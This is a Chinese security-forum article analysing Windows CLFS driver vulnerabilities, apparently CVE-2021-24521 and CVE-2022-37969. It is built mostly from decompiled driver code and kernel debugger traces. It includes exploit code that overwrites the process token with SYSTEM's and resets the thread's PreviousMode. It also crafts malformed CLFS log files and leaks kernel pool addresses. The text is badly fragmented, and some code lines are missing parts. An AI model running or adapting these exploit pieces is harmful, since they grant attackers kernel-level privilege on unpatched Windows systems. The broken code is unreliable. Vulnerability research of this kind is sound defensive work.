看雪论坛精华文章
看雪论坛作者ID:王cb
一 简介
二 CVE-2021-24521漏洞分析
__int64 __fastcall CClfsContainer::Close(CClfsContainer *
this
)
{
CClfsContainer *that;
// rbx
void
*v2;
// rcx
NTSTATUS hr;
// edi
that =
this
;
v2 = (
void
*)
this
->field_DeviceObjectHint_20;
if
( !v2 )
return
3221225480
i64;
hr = ZwClose(v2);
if
( hr >=
0
)
{
that->field_DeviceObjectHint_20 =
0
i64;
that->field_ContainerSize_8 =
0
i64;
}
ObfDereferenceObject((PVOID)that->field_Device_Object_30);
that->field_Device_Object_30 =
0
i64;
return
(
unsigned
int
)
bool
WriteProcessToken
()
{
unsigned
long
written =
0
;
ULONGLONG pToken[] = {
0
,
0
,
0
,
0
};
NtWriteVirtualMemory(
GetCurrentProcess(),
&pToken,
(PVOID)(SystemEProcessAddress + dwEProcessTokenPos -
0x10
),
0x20
,
&written);
NTSTATUS ret = NtWriteVirtualMemory(
GetCurrentProcess(),
(PVOID)(selfEProcessAddress + dwEProcessTokenPos),
&pToken[
2
],
8
,
&written);
if
(ret) {
printf
(
"[+] Write EProcess token failed n"
);
return
FALSE;
}
// restore user thread.
Sleep(
100
);
BYTE previouMode =
1
;
NtWriteVirtualMemory(
GetCurrentProcess(),
(PVOID)( ullKThreadAddress + dwThreadPreModePos ),
&previouMode,
1
,
&written);
printf
(
"[+] Write EProcess token Success! n"
);
return
TRUE;
}
三 CVE-2021-24521漏洞分析后篇
在四月的CVE-2021-24521和九月的CVE-2021-24521,存在一个不知名的clfs漏洞,具体方式是通过一个混肴的CLIENT_CONTEXT和CONTAINER_CONTEXT结构公用同一片符号表内存,用实际只相差8大小的地址空间,导致CLFSHASHSYM结构的下个cbSymName和cbOffset正好是上个不做验证ulBelow和ulAbove字段,在关闭CONTAINER时绕过AcquireContainerContext检查还原重叠的PCLFS_CONTAINER_CONTEXT的pContainer 指针,在CONTAINER_CONTEXT结构后是原来的Container路径字符串,由于重叠的关系CLIENT_CONTEXT后的路径字符串没有对应的正确内容,但是clfs没有去验证这个限制,所以就实现了绕过类型混淆。
具体利用方法片段如下:
void
vul(){
int
ContainerOffset = 0x1528;
int
ClientOffset = ContainerOffset-8;
PCLFS_LOG_BLOCK_HEADER
hd = (PCLFS_LOG_BLOCK_HEADER)(pFileBuff + 0x8200);
ULONGLONG
base_record_ptr = (ULONGLONG)hd + hd->RecordOffsets[0];
PCLFS_BASE_RECORD_HEADER
base_record = PCLFS_BASE_RECORD_HEADER(base_record_ptr);
=
ClientOffset;
PCLFS_CLIENT_CONTEXT
fakectx = (PCLFS_CLIENT_CONTEXT)(base_record_ptr + ClientOffset);
PCLFS_CONTAINER_CONTEXT
orgctx = (PCLFS_CONTAINER_CONTEXT)(base_record_ptr + ContainerOffset);
PCLFSHASHSYM
fakesym = (PCLFSHASHSYM)(base_record_ptr + ClientOffset - sizeof(CLFSHASHSYM));
PCLFSHASHSYM
orgsym = (PCLFSHASHSYM)(base_record_ptr + ContainerOffset - sizeof(CLFSHASHSYM));
=
ClientOffset + sizeof(CLFS_CLIENT_CONTEXT);
=
ClientOffset;
=
0;
=
0;
=
0;
=
0x40000000;
}
__int64 __fastcall CClfsBaseFile::AcquireContainerContext(CClfsBaseFilePersisted *
this
,
unsigned
int
lsn, _CLFS_CONTAINER_CONTEXT **a3)
{
_CLFS_CONTAINER_CONTEXT **ctnctx;
// r14
if
(
0
== that->field_cblock_28
|| (rgblock = that->field_rgBlocks_30, (ctrlhd = rgblock[
2
].pbImage) ==
0
i64)
|| (offset = ctrlhd->RecordOffsets[
0
],
basesd = (_CLFS_BASE_RECORD_HEADER *)(&ctrlhd->MajorVersion + offset),
cb = rgblock[
2
].cbImage,
(
unsigned
int
)offset >= cb)
|| (
unsigned
int
)offset <
0x70
|| cb - (
unsigned
int
)offset <
0x1338
)
{
basesd =
0
i64;
}
if
( basesd )
{
ctnoffset = basesd->rgContainers[lsnref];
if
( ctnoffset )
result = CClfsBaseFile::GetSymbol(that, ctnoffset, lsnref, ctnctx);
else
result =
3221225480
i64;
}
else
{
result =
3222929421
i64;
}
}
return
result;
}
__int64 __fastcall CClfsBaseFile::GetSymbol(CClfsBaseFilePersisted *
this
,
unsigned
int
offsetfrom,
int
containeridx, _CLFS_CONTAINER_CONTEXT **retval)
{
_CLFS_CONTAINER_CONTEXT **retvalref;
// r14
retvalref = retval;
containeridxRef = containeridx;
rgcontaineroffset = offsetfrom;
file =
this
;
hr =
0
;
v18 =
0
;
if
( offsetfrom <
0x1368
)
return
0xC01A000D
i64;
*retval =
0
i64;
ExAcquireResourceSharedLite((PERESOURCE)
this
->field_lock_20,
1u
);
if
( !CClfsBaseFile::IsValidOffset(file, rgcontaineroffset +
0x2F
) )
goto
LABEL_21;
v11 = file->field_rgBlocks_30[
2
].pbImage;
CClfsBaseFile::GetBaseLogRecord(file);
rgcontaineroffsetRaw =
0
;
// //RecordOffsets=70 ,rgcontaineroffset=14a0;14a0+800+70=1d10= _CLFS_CONTAINER_CONTEXT **a4,craw=800+70
if
( (
signed
int
)ULongAdd(rgcontaineroffset, v12->RecordOffsets[
0
], &rgcontaineroffsetRaw) <
0
|| !craw
|| rgcontaineroffsetRaw >= (
unsigned
int
)v14->TotalSectorCount <<
9
|| !(craw + rgcontaineroffset) )
{
goto
LABEL_21;
}
// _CLFS_CONTAINER_CONTEXT **a4 =1d10;poi(1d10-0n12)=cbOffset=rgcontaineroffset=14a0
if
( *(_DWORD *)(craw + rgcontaineroffset -
0xC
) != (_DWORD)rgcontaineroffset )
{
hr =
030000000010
;
LABEL_15:
v18 = hr;
goto
LABEL_16;
}
ctnsize = ClfsQuadAlign(
0x30
u);
// cbOffset= (unsigned __int64)(pctnref + ctnsize)
// cbOffset字符串位置正好是在container的结尾
if
( pctn[
-1
].usnCurrent != (
unsigned
__int64)(pctnref + ctnsize) || pctn->cidContainer != containeridxRef )
{
LABEL_21:
hr =
0xC01A000D
;
goto
LABEL_15;
}
*retvalref = pctn;
return
hr;
}
__int64 __usercall CClfsLogFcbPhysical::Initialize@<rax>(CClfsLogFcbPhysical *this@<rcx>, void *a2@<rdx>, struct _SECURITY_SUBJECT_CONTEXT *a3@<r8>, __int16 a4@<r9w>, ACCESS_MASK DesiredAccess, unsigned int DesiredShareAccess, __int64 a7, struct _FILE_OBJECT *FileObject, unsigned __int8 a9)
{
CClfsBaseFile::AcquireClientContext(file->field_BaseFilePersisted_2A8,
0
, &cltctx);
if
( !(cltctx->eState &
0x20
)
|| ((unsigned __int8 (__fastcall *)(CClfsLogFcbPhysical *, __int64, __int64, __int64, __int64))file->vftbl_0_00000001C0013440->CClfsLogFcbPhysical::IsMultiplexed_void)(
file,
attrval,
v17,
v18,
Update) )
{
//保存pContainer指针为旧值在CClfsLogFcbPhysical中
file->field_CtrateTime_1a0 = cltctx->llCreateTime.QuadPart;
}
else
{
//fakectx->eState = CLFS_LOG_SHUTDOWN;见下面分析
CClfsLogFcbPhysical::ResetLog(file);
}
}
__int64 __fastcall CClfsLogFcbPhysical::FlushMetadata(CClfsLogFcbPhysical *this)
{
that = this;
hr = CClfsBaseFile::AcquireClientContext(this->field_BaseFilePersisted_2A8,
0
, &cltctx);
//替换pContainer指针为旧值在ClientContext是与CLFS_CONTAINER_CONTEXT重叠的内存
cltctx->llCreateTime.QuadPart = that->field_CtrateTime_1a0;
...
CClfsBaseFile::ReleaseClientContext((CClfsBaseFile *)that->field_BaseFilePersisted_2A8, &cltctx);
v7 = CClfsBaseFilePersisted::FlushImage(that->field_BaseFilePersisted_2A8);
}
//在FlushImage中调用
__int64 __fastcall CClfsBaseFilePersisted::WriteMetadataBlock(CClfsBaseFilePersisted *this, unsigned int a2, char shadow)
{
for
( i =
0
; i <
0x400
; ++i )
{
v15 = CClfsBaseFile::AcquireContainerContext(that, i, &ctn);
what = (CClfsBaseFilePersisted *)((char *)that +
8
* i);
ctnref = ctn;
what->pContainer_1c0 = (void **)&ctn->pContainer->pctn;
ctnref->pContainer =
0
i64;
CClfsBaseFile::ReleaseContainerContext((CClfsBaseFile *)that, &ctn);
}
ClfsEncodeBlock(header, header->TotalSectorCount <<
9
, header->Usn,
0x10
u,
1
u);
ClfsDecodeBlock(header, header->TotalSectorCount, header->Usn,
0x10
u, &v21);
pcontainersaved = (CClfsContainer **)&that->pContainer_1c0;
do
{
if
( *pcontainersaved && (signed int)CClfsBaseFile::AcquireContainerContext(that, ctnidxsearch, &ctn) >=
0
)
{
ctn->pContainer = *pcontainersaved;
CClfsBaseFile::ReleaseContainerContext((CClfsBaseFile *)that, &ctn);
}
++ctnidxsearch;
++pcontainersaved;
}
while
( ctnidxsearch <
0x400
);
}
`
bp CLFS!CClfsBaseFilePersisted::LoadContainerQ
bp CLFS!CClfsBaseFile::GetSymbol
0
: kd> r
rax=
0000000000000000
rbx=
0000000000000000
rcx=ffffc784287c1000
rdx=
0000000000001528
rsi=ffffdc0782e5c398 rdi=
0000000000001528
rip=fffff80026ee2670 rsp=ffffb30823028f88 rbp=ffffb30823029760
r8=
0000000000000000
r9=ffffb30823029050 r10=fffff800272a7040
r11=ffffb308230289e0 r12=
0000000000000000
r13=
0000000000000000
r14=ffffc784287c1000 r15=ffffb30823029198
iopl=
0
nv up ei pl nz na po nc
cs=
0010
ss=
0018
ds=
002
b es=
002
b fs=
0053
gs=
002
b efl=
00040206
CLFS!CClfsBaseFile::GetSymbol:
fffff800
`26ee2670 48895c2418 mov qword ptr [rsp+18h],rbx ss:0018:ffffb308`
23028f
a0=ffffdc0782e5c398
2
: kd> k
# Child-SP RetAddr Call Site
00
ffffb308
`23704f88 fffff800`
26
ee7294 CLFS!CClfsBaseFile::GetSymbol
01
ffffb308
`23704f90 fffff800`
26
eb3156 CLFS!CClfsBaseFilePersisted::LoadContainerQ+
0x2a4
02
ffffb308
`23705100 fffff800`
26
edeb7b CLFS!CClfsLogFcbPhysical::Initialize+
0x6d
a
03
ffffb308
`23705240 fffff800`
26
ee0abb CLFS!CClfsRequest::Create+
0x4ef
04
ffffb308
`23705390 fffff800`
26
ee0887 CLFS!CClfsRequest::Dispatch+
0x97
05
ffffb308
`237053e0 fffff800`
26
ee07d7 CLFS!ClfsDispatchIoRequest+
0x87
0
: kd> gu
0
: kd> dq poi(ffffb30823029050)
ffffdc07
`82e5d598 00000030`
00000000
00000000
`00100000
//pContainer指针
ffffdc07`
82e5d
5a8
00000000
`00000000 00000000`
40000000
ffffdc07
`82e5d5b8 00000002`
00000001
00000000
`00000000
//下pContainer指针硬件访问断点
ba w8 ffffdc07`
82e5d
598 +
18
Breakpoint
3
hit
CLFS!CClfsBaseFilePersisted::LoadContainerQ+
0x4e5
:
fffff800
`26ee74d5 4885c9 test rcx,rcx
//LoadContainerQ中将CONTAINER_CONTEXT中pContainer指针覆盖为新申请的容器对象实例指针
0: kd> dps poi(ffffdc07`
82e5d
5b0)
ffffdc07
`8291bab0 fffff800`
26
ec35f0 CLFS!CClfsContainer::
`vftable'
ffffdc07`
8291
bab8
00000000
`00000000
ffffdc07`
8291
bac0
00000000
`00000000
0: kd> dq ffffdc07`
82e5d
598
ffffdc07
`82e5d598 00000030`
00000000
00000000
`00100000
ffffdc07`
82e5d
5a8
00000000
`00000000 ffffdc07`
8291
bab0
ffffdc07
`82e5d5b8 00000002`
00000001
00000000
`00000000
1: kd> g
Breakpoint 3 hit
CLFS!CClfsLogFcbPhysical::FlushMetadata+0x5d:
fffff800`
26
eb158d
488
b83a8010000 mov rax,qword ptr [rbx+
1
A8h]
1
: kd> r
rax=
0000000040000000
rbx=ffffc784288ed000 rcx=ffff80002b167180
rdx=
0000000000000031
rsi=ffffc7842a3d2930 rdi=
0000000000000000
rip=fffff80026eb158d rsp=ffffb30823029680 rbp=
0000000000000001
r8=
0000000000000804
r9=ffffdc0782e5d590 r10=
0000000000000000
r11=ffffdc0782e5c000 r12=ffffc784297e9dc8 r13=
0000000000000000
r14=ffffc784297e9ee8 r15=ffffc78422c79c01
iopl=
0
nv up ei ng nz na po nc
cs=
0010
ss=
0018
ds=
002
b es=
002
b fs=
0053
gs=
002
b efl=
00040286
CLFS!CClfsLogFcbPhysical::FlushMetadata+
0x5d
:
fffff800
`26eb158d 488b83a8010000 mov rax,qword ptr [rbx+1A8h] ds:002b:ffffc784`
288
ed1a8=
0000000200000001
1
: kd> k
# Child-SP RetAddr Call Site
00
ffffb308
`23029680 fffff800`
26
ef1503 CLFS!CClfsLogFcbPhysical::FlushMetadata+
0x5d
01
ffffb308
`230296d0 fffff800`
26
eeea25 CLFS!CClfsLogFcbVirtual::Cleanup+
0x213
02
ffffb308
`23029760 fffff800`
26
eee939 CLFS!CClfsLogCcb::Cleanup+
0xb1
03
ffffb308
`230297b0 fffff800`
26
ee0955 CLFS!CClfsRequest::Cleanup+
0x65
0
c
0000000
a
`dc5ff920 00000000`
00000000
0x00007ff
8
`d566a395
//FlushMetadata中获取的ClientContext是与CLFS_CONTAINER_CONTEXT重叠的内存.伪代码如下cltctx->llCreateTime.QuadPart = that->field_CtrateTime_1a0;替换pContainer指针为旧值
1: kd> dq ffffdc07`
82e5d
598
ffffdc07
`82e5d598 00000030`
00000000
00000000
`00100000
ffffdc07`
82e5d
5a8
00000000
`00000000 00000000`
40000000
ffffdc07
`82e5d5b8 00000002`
00000001
00000000
`00000000
3: kd> kv
# Child-SP RetAddr : Args to Child : Call Site
00 ffffb308`
23029618
fffff800
`26eb8655 : ffffc784`
287
c1000 ffffc784
`288ed000 00000000`
00000000
fffff800
`26eceb01 : CLFS!CClfsContainer::Close
01 ffffb308`
23029620
fffff800
`26eb87b6 : ffffdc07`
82e5d
598 ffffc784
`288ed000 fffff800`
26
eceb20
00000000
`00000000 : CLFS!CClfsLogFcbPhysical::CloseContainers+0x69
02 ffffb308`
23029650
fffff800
`26eb8761 : 00000000`
00000000
ffffc784
`288ed000 fffff800`
26
eceb20 ffffc784
`288ed2f8 : CLFS!CClfsLogFcbPhysical::Finalize+0x42
03 ffffb308`
23029680
fffff800
`26eb9889 : ffffc784`
2883d
801 ffffc784
`288ed250 00000000`
00000000
ffffc784
`297e9e28 : CLFS!CClfsLogFcbPhysical::Release+0xb1
04 ffffb308`
230296e0
fffff800
`26eddfd2 : ffffc784`
2883d
830 ffffc784
`2883d801 00000000`
00000000
ffffc784
`2883d830 : CLFS!CClfsLogFcbVirtual::Release+0x69
05 ffffb308`
23029720
fffff800
`26ee0908 : ffffc784`
2883d
830 ffffc784
`22c79c80 ffffc784`
2883d
830
00000000
`00000000 : CLFS!CClfsRequest::Close+0xd6
06 ffffb308`
23029770
fffff800
`26ee07d7 : ffffc784`
2883d
830 ffffc784
`2883d830 00000000`
00000000
fffff800
`27cf4204 : CLFS!ClfsDispatchIoRequest+0x108
3: kd> r
//rcx就是pContainer指针为旧值
rax=0000000000000000 rbx=ffffc784288ed000 rcx=0000000040000000
rdx=0000000000000000 rsi=0000000000000000 rdi=0000000000000000
rip=fffff80026eeb438 rsp=ffffb30823029618 rbp=ffffdc0782e5d598
r8=ffffb30823029550 r9=ffffdc0782e5c070 r10=0000000000000000
r11=ffffdc0782e5c000 r12=0000000000000000 r13=0000000000000001
r14=fffff80026eceb20 r15=ffffc78422c79c80
iopl=0 nv up ei pl nz na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00040206
CLFS!CClfsContainer::Close:
fffff800`
26
eeb438
48895
c2408 mov qword ptr [rsp+
8
],rbx ss:
0018
:ffffb308
`23029620=ffffc784287c1000
3: kd> dq 0000000040000000
00000000`
40000000
0000010d
`844b0000 00000000`
00000000
00000000
`40000010 00000000`
00000000
00000000
`00000000
00000000`
40000020
00000000
`0000009c 00000000`
00000000
//ullKThreadAddress + dwThreadPreModePos + 0x30;就是Thread的PreMode地址
00000000
`40000030 ffffc784`
29
c79322
00000000
`00000000
//ThreadPreMode地址
00000000`
40000030
ffffc784
`26d0b2e2 00000000`
00000000
//调用pContainer指针为伪造的虚表函数地址
rax=fffff80026f10190 rbx=ffffc784288ed000 rcx=
0000000040000000
rdx=
00000000746
c6644 rsi=
0000000000000000
rdi=
0000000000000000
rip=fffff80026eb8660 rsp=ffffb30823029620 rbp=ffffdc0782e5d598
r8=ffffc7842a3ce08e r9=
0000000000000006
r10=fffff80027216270
r11=ffffc78426d0b080 r12=
0000000000000000
r13=
0000000000000001
r14=fffff80026eceb20 r15=ffffc78422c79c80
iopl=
0
nv up ei ng nz na pe nc
cs=
0010
ss=
0018
ds=
002
b es=
002
b fs=
0053
gs=
002
b efl=
00040282
CLFS!CClfsLogFcbPhysical::CloseContainers+
0x74
:
fffff800
`26eb8660 ff157abf0100 call qword ptr [CLFS!_guard_dispatch_icall_fptr (fffff800`
26
ed45e0)] ds:
002
b:fffff800
`26ed45e0={CLFS!guard_dispatch_icall_nop (fffff800`
26
ebd4e0)}
5
: kd> ln rax
(fffff800
`26f10190) CLFS!ClfsSetEndOfLog | (fffff800`
26f
101f0) CLFS!ClfsSetLogFileInformation
4
: kd> !thread
THREAD ffffc78429c790c0 Cid
15
bc
.08e4
Teb:
00000040e33d
c000 Win32Thread:
0000000000000000
RUNNING on processor
4
Child-SP RetAddr : Args to Child : Call Site
ffffb308
`23835618 fffff800`
26
eb8655 : ffffc784
`280ef000 ffffc784`
29603000
00000000
`00000000 fffff800`
26
eceb01 : CLFS!CClfsContainer::Close
ObfDereferenceObject递减Thread的PreMode地址, 将当前线程模式改为内核模式
4
: kd> dt nt!_KTHREAD ffffc78429c790c0 -y Previous
+
0x232
PreviousMode :
0
''
四 CVE-2022-37969漏洞分析
typedef
struct _CLFS_BASE_RECORD_HEADER
{
CLFS_METADATA_RECORD_HEADER
hdrBaseRecord;
CLFS_LOG_ID
cidLog;
ULONGLONG
rgClientSymTbl[CLIENT_SYMTBL_SIZE];
ULONGLONG
rgContainerSymTbl[CONTAINER_SYMTBL_SIZE];
ULONGLONG
rgSecuritySymTbl[SHARED_SECURITY_SYMTBL_SIZE];
ULONG
cNextContainer;
CLFS_CLIENT_ID
cNextClient;
ULONG
cFreeContainers;
ULONG
cActiveContainers;
ULONG
cbFreeContainers;
ULONG
cbBusyContainers;
ULONG
rgClients[MAX_CLIENTS_DEFAULT];
ULONG
rgContainers[MAX_CONTAINERS_DEFAULT];
ULONG
cbSymbolZone;
ULONG
cbSector;
USHORT
bUnused;
CLFS_LOG_STATE
eLogState;
UCHAR
cUsn;
UCHAR
cClients;
CLFS_BASE_RECORD_HEADER, *PCLFS_BASE_RECORD_HEADER;
如果字段 cbSymbolZone 设置为无效偏移量,则会在无效偏移量处发生越界写入。
signed
__int64 __fastcall CClfsBaseFilePersisted::AllocSymbol(CClfsBaseFilePersisted *
this
,
unsigned
int
allowlen,
void
**endofSymZonePtrFrom)
{
void
**endofSymZonePtrRet;
// rsi
__int64 allowlenref;
// rbp
_CLFS_BASE_RECORD_HEADER *BaseLogRecord;
// rax
CClfsBaseFilePersisted *that;
// r8
_CLFS_BASE_RECORD_HEADER *BaseLogRecordRef;
// rdi
_CLFS_LOG_BLOCK_HEADER *hdr;
// rcx
__int64 cbSymbolZone;
// r8
char
*endofSymZonePtr;
// rbx
signed
__int64 result;
// rax
endofSymZonePtrRet = endofSymZonePtrFrom;
allowlenref = allowlen;
BaseLogRecord = CClfsBaseFile::GetBaseLogRecord(
this
);
BaseLogRecordRef = BaseLogRecord;
if
( !BaseLogRecord )
return
0xC01A000D
i64;;
hdr = that->field_rgBlocks_30[
2
].pbImage;
*endofSymZonePtrRet =
0
i64;
cbSymbolZone = BaseLogRecord->cbSymbolZone;
//下文要绕过的限制
if
( (
char
*)&BaseLogRecord[
1
] + cbSymbolZone + allowlenref > (
char
*)(&hdr->MajorVersion + hdr->SignaturesOffset) )
return
0xC0000023
i64;
endofSymZonePtr = (
char
*)&BaseLogRecord[
1
] + cbSymbolZone;
memset
(endofSymZonePtr,
0
, (
unsigned
int
)allowlenref);
BaseLogRecordRef->cbSymbolZone += allowlenref;
result =
0
i64;
*endofSymZonePtrRet = endofSymZonePtr;
return
result;
}
void __fastcall CClfsLogFcbPhysical::Finalize(CClfsLogFcbPhysical *this, char a2)
{
//DeleteLogByHandle方式
if
( file->clientshuwdown_15c &
0x10
)
{
CClfsLogFcbPhysical::DeleteBaseFileAndContainers(file);
{
if
( (signed int)CClfsBaseFile::AcquireContainerContext(v1->field_BaseFilePersisted_2A8, v5, &ctn) >=
0
)
{
CClfsBaseFile::ReleaseContainerContext((CClfsBaseFile *)v1->field_BaseFilePersisted_2A8, &ctn);
CClfsBaseFilePersisted::RemoveContainer(v1->field_BaseFilePersisted_2A8, ctn);
((void (__fastcall *)(CClfsContainer *, __int64, __int64, __int64, _BYTE))ctn->pctn->CClfsContainer::Remove_void)(
ctn,
v14,
v15,
v16,
0
);
}
}
else
{
//活动容器大小是不是大于0
if
( (unsigned int)CClfsBaseFile::ContainerCount(v3) )
{
CClfsLogFcbPhysical::CloseContainers(file);
{
if
( (signed int)CClfsBaseFile::AcquireContainerContext(v1->field_BaseFilePersisted_2A8, v5, &ctn) >=
0
)
{
//直接关闭句柄的方式
CClfsContainer::Close(pctn);
((void (__fastcall *)(ULONGLONG, __int64, __int64, __int64, __int64))v4->pContainer->pctn->CClfsContainer::Release_void)(
v4->ullAlignment,
v6,
v7,
v8,
v10);
v4->ullAlignment =
0
i64;
}
CClfsBaseFile::ReleaseContainerContext((CClfsBaseFile *)v3->field_BaseFilePersisted_2A8, &ctnctx);
}
}
}
}
}
__int64 __fastcall ClfsDeleteLogByPointer(struct _FILE_OBJECT *a1)
{
hr = CClfsLogCcb::CheckAccess(v8,
4
);
{
if
( a2 &
1
&& !this->field_fileobj_48->ReadAccess
|| a2 &
2
&& !this->field_fileobj_48->WriteAccess
|| a2 &
4
&& !this->field_fileobj_48->DeleteAccess )
{
hr =
-1073741790
;
}
}
if
( hr==
0
)
{
if
( !CClfsLogFcbCommon::IsReadOnly(v5) )
{
file->clientshuwdown_15c = v10 |
0x10
;
}
}
}
利用步骤
PCLFS_LOG_BLOCK_HEADER hd = (PCLFS_LOG_BLOCK_HEADER)(pFileBuff +
0x800
);
hd->SignaturesOffset =
0x50
;
ULONGLONG base_record_ptr = (ULONGLONG)hd + hd->RecordOffsets[
0
];
PCLFS_BASE_RECORD_HEADER base_record = PCLFS_BASE_RECORD_HEADER(base_record_ptr);
base_record->cbSymbolZone =
0x11000
+
0x15b
;
base_record->rgClients[
0
] = ClientOffset;
PCLFS_CLIENT_CONTEXT fakectx = (PCLFS_CLIENT_CONTEXT)(base_record_ptr + ClientOffset);
PCLFSHASHSYM fakesym = (PCLFSHASHSYM)(base_record_ptr + ClientOffset - sizeof(CLFSHASHSYM));
fakesym->cbSymName = ClientOffset + sizeof(CLFS_CLIENT_CONTEXT);
fakesym->cbOffset = ClientOffset;
fakectx->cidNode.cType =
0xC1FDF007
;
fakectx->cidNode.cbNode = sizeof(CLFS_CLIENT_CONTEXT);
fakectx->cidClient =
0
;
fakectx->Reserved1 =
0
;
fakectx->fAttributes =
0x0100
;
fakectx->eState = CLFS_LOG_SHUTDOWN;
利用步骤分析
typedef
enum
_CLFS_METADATA_BLOCK_TYPE
{
ClfsMetaBlockControl,
ClfsMetaBlockControlShadow,
ClfsMetaBlockGeneral,
ClfsMetaBlockGeneralShadow,
ClfsMetaBlockScratch,
ClfsMetaBlockScratchShadow
}
CLFS_METADATA_BLOCK_TYPE
, *PCLFS_METADATA_BLOCK_TYPE;
//一次读取元数据块和它的影子块
signed __int64 __fastcall CClfsBaseFile::AcquireMetadataBlock(CClfsBaseFilePersisted *this, __int64 idx, __int64 a3, __int64 a4)
{
int cbimg= file->field_rgBlocks_30[idx].cbImage;
LPVOID MetadataBlockPtr = (struct _CLFS_LOG_BLOCK_HEADER *)ExAllocatePoolWithTag(PagedPoolCacheAligned, cbimg,
'sflC'
);
that->field_rgBlocks_30[idx].pbImage = MetadataBlockPtr;
CClfsBaseFilePersisted::ReadMetadataBlock(MetadataBlockPtr,idx,...)
CLFS_METADATA_BLOCK_TYPE shadowblocktype = (unsigned int)(idx +
1
);
hr = ClfsBaseFilePersisted::ReadMetadataBlock( that, shadowblocktype,...);
}
}
__int64 __fastcall CClfsBaseFilePersisted::ReadImage(CClfsBaseFilePersisted *this, struct _CLFS_CONTROL_RECORD **a2)
{
//获取第一个元数据
hr = CClfsBaseFile::GetControlRecord(file, ctrlrcd, v10, v11);{
result = CClfsBaseFile::AcquireMetadataBlock(this, ClfsMetaBlockControl, a3, a4);
MetadataBlockPtr = that->field_rgBlocks_30[
0
];
RecordOffset = MetadataBlockPtr->pbImage->RecordOffsets[
0
];
ctrlrcd = (_CLFS_CONTROL_RECORD *)(&MetadataBlockPtr->pbImage->MajorVersion + RecordOffset);
}
mapptr = (__int64)file->field_rgBlocks_30->pbImage;
for
( i =
0
i64; (unsigned int)i < (unsigned __int16)file->field_cblock_28; i = (unsigned int)(i +
1
) )
{
*(_OWORD *)&mapptrRef[idx].pbImage = *(_OWORD *)&(*ctrlrcd)->rgBlocks[(unsigned int)i].pbImage;
*(_QWORD *)&mapptrRef[idx].eBlockType = *(_QWORD *)&ctrlrcdRef->rgBlocks[(unsigned int)i].eBlockType;
}
//获取主元数据
hr = CClfsBaseFile::AcquireMetadataBlock(file, ClfsMetaBlockGeneral, i, mapptr);
}
DWORD dwBufSize =
1024
*
1024
;
DWORD dwOutSize =
0
;
LPVOID pBuffer = LocalAlloc(LPTR, dwBufSize);
NTSTATUS hRes = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemBigPoolInformation, pBuffer, dwBufSize, &dwOutSize);
_tprintf(_T(
"NtQuerySystemInformation ret with 0x%d %d %dn"
), hRes, dwOutSize, GetLastError());
DWORD dwExpectedSize =
0x7a00
;
ULONG_PTR StartAddress = (ULONG_PTR)pBuffer;
ULONG_PTR EndAddress = StartAddress +
8
+ *((PDWORD)StartAddress) * sizeof(BIG_POOL_INFO);
ULONG_PTR ptr = StartAddress +
8
;
printf
(
"[+] StartAddress is : 0x%llx,EndAddress is : 0x%llxn"
, StartAddress, EndAddress);
while
(ptr < EndAddress)
{
PBIG_POOL_INFO info = (PBIG_POOL_INFO)ptr;
if
(info->PoolTag ==
'sflC'
&& dwExpectedSize == info->PoolSize)
{
ULONG_PTR FakeAddress = (((ULONG_PTR)info->Address) &
0xfffffffffffffff0
);
printf
(
"[+] Name:%s ,Size:%llx ,FakeAddress is : 0x%llx,n"
, &info->PoolTag, info->PoolSize, FakeAddress);
}
ptr += sizeof(BIG_POOL_INFO);
}
__int64 __fastcall CClfsLogFcbPhysical::ResetLog(CClfsLogFcbPhysical *
this
)
{
this
->field_lsnrestart_1f0 = CLFS_LSN_INVALID;
struct
_
CLFS_CLIENT_CONTEXT
*
cltctx
;
// rcx
CClfsBaseFile::AcquireClientContext(
this
->field_BaseFilePersisted_2A8,
0
, &ctnctx);
//ctx+58最后就会写入ignatureOffset=68加上2高位部分
cltctx->lsnRestart_58.ullOffset = that->field_lsnrestart_1f0;
}
__int64 __
fastcall
ClfsEncodeBlockPrivate
(_CLFS_LOG_BLOCK_HEADER *hdr,
unsigned
int
TotalSectorCount,
char
a3,
unsigned
__int8 a4)
{
do
{
// SignaturesOffsetAddr=(ULONGLONG)that+that->SignaturesOffset;
SignaturesOffsetAddr +=
2
i64;
flag1 =
0x20
;
flag2 =
0x40
;
if
( thisref->TotalSectorCount -
1
!= Sectoridx )
flag1 =
0
;
if
( Sectoridx )
flag2 =
0
;
flagall = flag2 | flag1;
sectorbase = Sectoridx <<
9
;
LOBYTE(flagsig) = val10 | flagall;
++Sectoridx;
// signature array是个数组会和SignaturesOffset相交如果SignaturesOffset=0x50
*(_WORD *)(SignaturesOffsetAddr -
2
) = *(USHORT *)((
char
*)&thisref->sig_1fe + sectorbase);
*(USHORT *)((
char
*)&thisref->sig_1fe + (
unsigned
int
)sectorbase) = flagsig
}
while
( Sectoridx < SectorCount );
}
调试分析
1: kd> bp clfs!CClfsLogFcbPhysical::ResetLog
2: kd> r
rax=0000000000000000 rbx=ffff8c038124e000 rcx=ffff8c0380cec000
rdx=0000000000000000 rsi=0000000073666c43 rdi=0000000000000200
rip=fffff8032ce014d5 rsp=ffff9c034e2290c0 rbp=ffff9c034e229760
r8=ffff9c034e229100 r9=ffffa2829d668070 r10=0000000000000000
r11=ffffa2829d668000 r12=0000000000000000 r13=ffff8c037fe37ad0
r14=ffff8c038124e000 r15=0000000000000000
iopl=0 nv up ei pl zr na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00040246
CLFS!CClfsLogFcbPhysical::ResetLog+0x91:
fffff803`2ce014d5 e8cae10100 call CLFS!CClfsBaseFile::AcquireClientContext (fffff803`2ce1f6a4)
//对 cltctx->lsnRestart字段下硬件断点
2: kd> ba r8 poi(ffff9c034e229100)+58
2: kd> g
Breakpoint 3 hit
CLFS!ClfsEncodeBlockPrivate+0xe9:
fffff803`2cdf8149 66418943fe mov word ptr [r11-2],ax
2: kd> r
rax=000000000000ffff rbx=0000000000000010 rcx=0000000000001a00
rdx=000000000000000e rsi=0000000000007a00 rdi=000000000000003d
rip=fffff8032cdf8149 rsp=ffff9c034e228f70 rbp=0000000000000000
r8=ffff9c034e228f90 r9=0000000000000002 r10=ffffa2829d668000
r11=ffffa2829d66806c r12=0000000000000001 r13=0000000000000002
r14=ffffa2829d668000 r15=0000000000000001
iopl=0 nv up ei pl nz na pe nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00040202
//r11-2正好是SignatureOffset=68加上2高位部分
2: kd> dc ffffa2829d668068
ffffa282`9d668068 00000050 00000000 00000002 00000000 P...............
